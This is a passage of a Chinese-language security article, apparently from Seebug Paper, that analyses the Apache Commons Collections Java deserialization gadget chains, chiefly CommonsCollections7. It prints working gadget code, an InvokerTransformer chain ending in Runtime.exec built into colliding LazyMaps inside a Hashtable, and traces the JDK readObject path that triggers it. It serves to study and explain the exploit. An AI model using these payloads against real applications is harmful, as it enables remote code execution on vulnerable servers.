private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // Write out any hidden serialization magic
    s.defaultWriteObject();

    // Write out HashMap capacity and load factor
    s.writeInt(map.capacity());
    s.writeFloat(map.loadFactor());

    // Write out size
    s.writeInt(map.size());

    // Write out all elements in the proper order.
    for (E e : map.keySet())
        s.writeObject(e);
}

遍歷map對象中的key值,并循環調用writeObject方法進行序列化。因此,需要將惡意的TiedMapEntry對象注入到HashMap的Key值中。HashMap的key屬性存儲在HashMap$Node類型的HashMap#table屬性中,構造反射鏈獲取key屬性。

Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
    node = array[1];
}

Field keyField = node.getClass().getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);

通過反射出HashMap的key,并將惡意TiedMapEntry對象賦值給key屬性中。至此,利用鏈構造完成。

Commons-Collections7

CommonsCollections7的sink鏈使用的是InvokerTransformer反射接口,利用ChainedTransformer串聯三次InvokerTransformer反射和ConstantTransformer接口,獲取惡意的Runtime類。調用LazyMap.decorate方法,將惡意的ChainedTransformer賦值給LazyMap#factory,當調用LazyMap#get(Object key)方法,則會觸發惡意代碼的執行。(與CommonsCollections1、CommonsCollections5、CommonsCollections6的sink點相同)

final String[] execArgs = new String[]{command};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        execArgs),
    new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

CommonsCollections7的sink點與之前的CC鏈的不同點在于,CommonsCollections7實例化兩次LazyMap對象。

CommonsCollections7的source點選擇Hashtable,具體gadget代碼如下:

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

return hashtable;

Gadget中調用了兩次Hashtable#put方法,將兩個LazyMap對象放入了Hashtable中,最終調用remove清空lazyMap2中的yy元素。

目前存在兩個問題:

1.為什么需要實例化兩次LazyMap對象

2.為什么需要調用remove清空lazyMap2中的yy元素

解答這兩個問題之前,需要跟蹤一下反序列化流程。跟蹤Hashtable#readObject方法

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
{
    // Read in the length, threshold, and loadfactor
    s.defaultReadObject();

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Compute new size with a bit of room 5% to grow but
    // no larger than the original size.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    if (origlength > 0 && length > origlength)
        length = origlength;
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
        // synch could be eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

在readObject方法中會根據Hashtable的元素個數判斷調用reconstitutionPut(table, key, value)方法的次數,跟進reconstitutionPut方法。

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

reconstitutionPut方法中會調用e.key.equals(key)方法。依靠之前的CommonsCollections利用鏈的經驗,需要在入口類通過各種方法的調用,從而調用到LazyMap#get方法,CommonsCollections7的gadget構造思路也如此,Gadget作者通過調用equals方法,串聯入口類和LazyMap。由于在序列化對象構造時,將LazyMap對象作為Hashtable的key值傳入到Hashtable的元素中。因此在調用e.key.equals(key)方法時,實質是調用LazyMap#equals方法。

LazyMap繼承于AbstractMapDecorator抽象類,從而調用AbstractMapDecorator#equals方法。

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

其中的map對象則是在調用LazyMap.decorate方法時傳入的HashMap

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

因此最終調用HashMap繼承的抽象類AbstractMap中的equals方法

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

并在AbstractMap#equals方法匯總調用傳入對象的get方法。這里重點跟蹤一下如何將LazyMap對象作為傳入對象傳入的,根據上述調用流程逆推,可以看到AbstractMap#equals(Object o)傳入參數o是取決于reconstitutionPut方法中調用e.key.equals(key)方法中傳入的key值。在這里可以解答上述提到的兩個問題。

由于在Hashtable反序列化調用reconstitutionPut方法時,會判斷tab數組中是否存在元素,如果存在,則進入for循環中調用e.key.equals(key)方法。

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {

只有在調用第一次reconstitutionPut方法之后,將第一個Hashtable中的元素傳入到tab數組中,在進行第二次調用時,才會保證tab數組非空,從而正常調用e.key.equals(key)方法。

而調用兩次reconstitutionPut方法的前提是,需要保證Hashtable中存在兩個元素

for (; elements > 0; elements--) {
    @SuppressWarnings("unchecked")
        K key = (K)s.readObject();
    @SuppressWarnings("unchecked")
        V value = (V)s.readObject();
    // synch could be eliminated for performance
    reconstitutionPut(table, key, value);
}

并且為了保證e.key.equals(key)方法中 e.key是LazyMap對象,且傳入的key參數也需要是LazyMap對象,因此需要實例化兩次LazyMap對象,在Hashtable中進行key比較時,完成LazyMap的調用,從而完成利用鏈的構造。

調用remove清空lazyMap2中的yy元素,是為了保持兩個LazyMap對象中的元素個數保持相同,由于在AbstractMap#equals方法中存在LazyMap元素個數比較的判斷條件

如果元素個數不同將直接返回false,不會調用后續的get請求,導致利用鏈失效。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1656/